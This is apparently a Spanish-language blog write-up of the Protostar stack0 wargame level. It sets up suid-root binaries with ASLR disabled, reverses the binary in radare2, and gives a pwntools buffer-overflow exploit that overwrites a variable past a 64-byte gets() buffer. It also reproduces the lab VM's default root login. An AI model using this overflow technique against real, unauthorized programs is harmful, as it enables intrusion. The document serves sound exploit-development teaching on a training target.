Para la resolución de los distintos desafíos presentados en la máquina Protostar no haremos uso del código fuente disponible en la web oficial. Nuestro objetivo, como ya hicimos con la máquina Nebula, es presentar al lector un entorno lo más realista posible y desarrollar las habilidades que un bug hunter o reverse enginner necesita conocer en la práctica diaria.
Hay dos herramientas que constituirán nuestro principal arsenal a la hora de resolver los retos. Por un lado el famoso framework de reversing radare2 (y su conjunto de utilidades integradas), por otro lado contaremos con la librería pwntools para el desarrollo de exploits en Python, lo que facilitará y agilizará mucho nuestra tarea. Ambas herramientas son muy conocidas dentro del mundo de los CTF, por lo que el lector hará bien en estudiarlas en profundidad y estará listo para salir a darlo todo en la competición.
Realizaremos las fases de reversing y exploiting en nuestra propia Linux box actualizada y con todas las herramientas recién instaladas, para ello obtendremos una copia de todos los binarios mediante el comando
scp
del paquete SSH
:
dpc@kernelinside:~/protostar$ scp -r protostar@192.168.56.101:/opt/protostar/bin/ .
PPPP RRRR OOO TTTTT OOO SSSS TTTTT A RRRR
P P R R O O T O O S T A A R R
PPPP RRRR O O T O O SSS T AAAAA RRRR
P R R O O T O O S T A A R R
P R R OOO T OOO SSSS T A A R R
http://exploit-exercises.com/protostar
Welcome to Protostar. To log in, you may use the user / user account.
When you need to use the root account, you can login as root / godmode.
For level descriptions / further help, please see the above url.
protostar@192.168.56.101's password:
final0 100% 54KB 29.8MB/s 00:00
final1 100% 55KB 34.6MB/s 00:00
final2 100% 78KB 40.8MB/s 00:00
format0 100% 22KB 18.9MB/s 00:00
format1 100% 22KB 30.2MB/s 00:00
format2 100% 23KB 32.6MB/s 00:00
format3 100% 23KB 30.7MB/s 00:00
format4 100% 23KB 30.1MB/s 00:00
heap0 100% 23KB 28.9MB/s 00:00
heap1 100% 23KB 25.7MB/s 00:00
heap2 100% 54KB 34.2MB/s 00:00
heap3 100% 53KB 39.2MB/s 00:00
net0 100% 54KB 35.0MB/s 00:00
net1 100% 54KB 38.6MB/s 00:00
net2 100% 54KB 38.2MB/s 00:00
net3 100% 56KB 40.8MB/s 00:00
net4 100% 53KB 38.2MB/s 00:00
stack0 100% 22KB 31.9MB/s 00:00
stack1 100% 23KB 31.6MB/s 00:00
stack2 100% 23KB 29.3MB/s 00:00
stack3 100% 23KB 32.7MB/s 00:00
stack4 100% 22KB 27.5MB/s 00:00
stack5 100% 22KB 32.4MB/s 00:00
stack6 100% 23KB 32.1MB/s 00:00
stack7 100% 23KB 33.0MB/s 00:00
Ahora cambiamos el usuario y grupo de todos los ejecutables a root y también activamos el bit suid:
dpc@kernelinside:~/protostar/bin$ sudo chown root:root *
dpc@kernelinside:~/protostar/bin$ sudo chmod u+s *
Por último desactivaremos ASLR (mismas condiciones que las planteadas en la máquina Protostar) mediante:
dpc@kernelinside:~$ sudo sysctl kernel.randomize_va_space=0
kernel.randomize_va_space = 0
dpc@kernelinside:~$ cat /proc/sys/kernel/randomize_va_space
0
Ya podemos comenzar a trabajar en cada reto en un entorno de desarrollo más cómodo e igual de realista. Hagamos honor al título de esta entrada y comencemos por
./stack0
.
dpc@kernelinside:~/protostar/bin$ ./stack0
test
Try again?
Parece que
./stack0
recibe una cadena a través de stdin
y luego imprime el mensaje de chico malo (bad boy en la jerga). Lanzamos r2
en busca de más información:
dpc@kernelinside:~/protostar/bin$ r2 ./stack0
[0x08048340]> aas
[0x08048340]> iI
arch x86
binsz 22412
bintype elf
bits 32
canary false
class ELF32
crypto false
endian little
havecode true
intrp /lib/ld-linux.so.2
lang c
linenum true
lsyms true
machine Intel 80386
maxopsz 16
minopsz 1
nx false
os linux
pcalign 0
pic false
relocs true
relro no
rpath NONE
static false
stripped false
subsys linux
va true
En todos los binarios vulnerables de la máquina Protostar se dan las siguientes condiciones:
canary false
nx false
pic false
relro no
aslr false
Es decir, todas las protecciones anti-overflow se encuentran desactivadas. Los organizadores lo han hecho intencionadamente para que el lector aprenda las bases de esta clase de vulnerabilidades y pueda practicar el desarrollo de exploits comenzando por los casos más sencillos. Para el estudio de protecciones y técnicas de exploiting más avanzadas, exploit-exercises.com cuenta con la máquina Fusion, cuyos retos también resolveremos aquí y que serán de interés a los estudiantes más adelantados.
Seguimos:
[0x08048340]> iz
000 0x00000500 0x08048500 40 41 (.rodata) ascii you have changed the 'modified' variable
001 0x00000529 0x08048529 10 11 (.rodata) ascii Try again?
Aquí tenemos los strings good boy y bad boy respectivamente.
[0x08048340]> ii
[Imports]
1 0x080482fc WEAK NOTYPE __gmon_start__
2 0x0804830c GLOBAL FUNC gets
3 0x0804831c GLOBAL FUNC __libc_start_main
4 0x0804832c GLOBAL FUNC puts
El comando
ii
muestra las funciones importadas por el binario, nada fuera de lo normal:
[0x08048340]> afl
0x08048000 23 748 -> 749 segment.LOAD0
0x08048114 19 472 segment.INTERP
0x080482ec 1 12 fcn.080482ec
0x080482fc 1 6 loc.imp.__gmon_start
0x0804830c 1 6 sym.imp.gets
0x0804831c 1 6 sym.imp.__libc_start_main
0x0804832c 1 6 sym.imp.puts
0x08048340 1 33 sym._start
0x08048370 6 85 sym.__do_global_dtors_aux
0x080483d0 4 35 sym.frame_dummy
0x080483f4 4 65 main
0x08048440 1 5 sym.__libc_csu_fini
0x08048450 4 90 sym.__libc_csu_init
0x080484aa 1 4 sym.__i686.get_pc_thunk.bx
0x080484b0 4 42 sym.__do_global_ctors_aux
0x080484dc 1 28 sym._fini
0x080484f8 6 65 obj._fp_hw
Entre las funciones locales solo
main()
parece de interés. Procedemos con la fase de reversing:
[0x080483f4]> e asm.bytes=false
[0x080483f4]> s main
[0x080483f4]> pdf
/ (fcn) main 65
| main ();
| ; var int local_1ch @ esp+0x1c
| ; var int local_5ch @ esp+0x5c
| ; DATA XREF from sym._start (0x8048357)
| 0x080483f4 push ebp
| 0x080483f5 mov ebp, esp
| 0x080483f7 and esp, 0xfffffff0
| 0x080483fa sub esp, 0x60 ; '`'
| 0x080483fd mov dword [local_5ch], 0
| 0x08048405 lea eax, [local_1ch] ; 0x1c ; 28
| 0x08048409 mov dword [esp], eax
| 0x0804840c call sym.imp.gets ; char *gets(char *s)
Aquí la variable local
local_5ch
se establece a 0 y luego se llama a gets()
, que almacenará los datos leidos desde stdin
en el buffer local_1_ch
. Es una buena constumbre renombrar las variables que vamos identificando para facilitar la comprensión de los listados de código:
[0x080483f4]> afvn local_5ch canary
[0x080483f4]> afvn local_1ch buffer
[0x080483f4]> pdf
...
...
| 0x08048411 mov eax, dword [canary] ; [0x5c:4]=-1 ; '\' ; 92
| 0x08048415 test eax, eax
| ,=< 0x08048417 je 0x8048427
| | 0x08048419 mov dword [esp], str.you_have_changed_the__modified__variable ; [0x8048500:4]=0x20756f79 ; "you have changed the 'modified' variable"
| | 0x08048420 call sym.imp.puts ; int puts(const char *s)
| ,==< 0x08048425 jmp 0x8048433
Aquí se comprueba si la recién renombrada variable
canary
es igual a 0, en caso afirmativo se muestra el mensaje de chico bueno, en caso contrario seguiría así:
| |`-> 0x08048427 mov dword [esp], str.Try_again ; [0x8048529:4]=0x20797254 ; "Try again?"
| | 0x0804842e call sym.imp.puts ; int puts(const char *s)
| | ; CODE XREF from main (0x8048425)
| `--> 0x08048433 leave
\ 0x08048434 ret
La vulnerabilidad salta a la vista,
gets()
no imponen ningún límite de tamaño en los introducidos por el usuario. Como la variable canary
es contigua en memoria a buffer, si los datos recibidos por gets() desbordan la capacidad de buffer
entonces sobreescribirán el canary
cambiando su valor actual. Calcular la capacidad de buffer
es realmente sencillo:
[0x080483f4]> ? 0x5c - 0x1c
hex 0x40
int32 64
Con lo cual, cualquier payload superior a 64 bytes sobreescribirá el
canary
y redirigirá el flujo del programa hacia la zona de chico bueno. La construcción de un exploit es casi trivial:
from pwn import *
context(arch="i386", os="linux")
context.binary="/home/dpc/protostar/bin/stack0"
padding = "A"*64
canary = 0xabad1dea
def exploit():
payload = padding + p32(canary)
p = process(context.binary.path)
p.sendline(payload)
print(p.recv())
if __name__ == "__main__":
exploit()
La documentación de pwntools es extensa y contiene infinidad de ejemplos. Sugerimos al lector su estudio ya que aquí no nos detendremos demasiado en analizar línea por línea el significado de cada operación.
La estructura es sencilla: establecemos el contexto de la máquina a atacar y la ruta del binario vulnerable, luego abrimos el proceso, enviamos directamente el payload y leemos el resultado:
dpc@kernelinside:~/protostar/bin$ python exp_stack0.py
[*] '/home/dpc/protostar/bin/stack0'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
[+] Starting local process '/home/dpc/protostar/bin/stack0': pid 1577
[*] Process '/home/dpc/protostar/bin/stack0' stopped with exit code 41 (pid 1577)
you have changed the 'modified' variable
Pwned!
No hay comentarios:
Publicar un comentario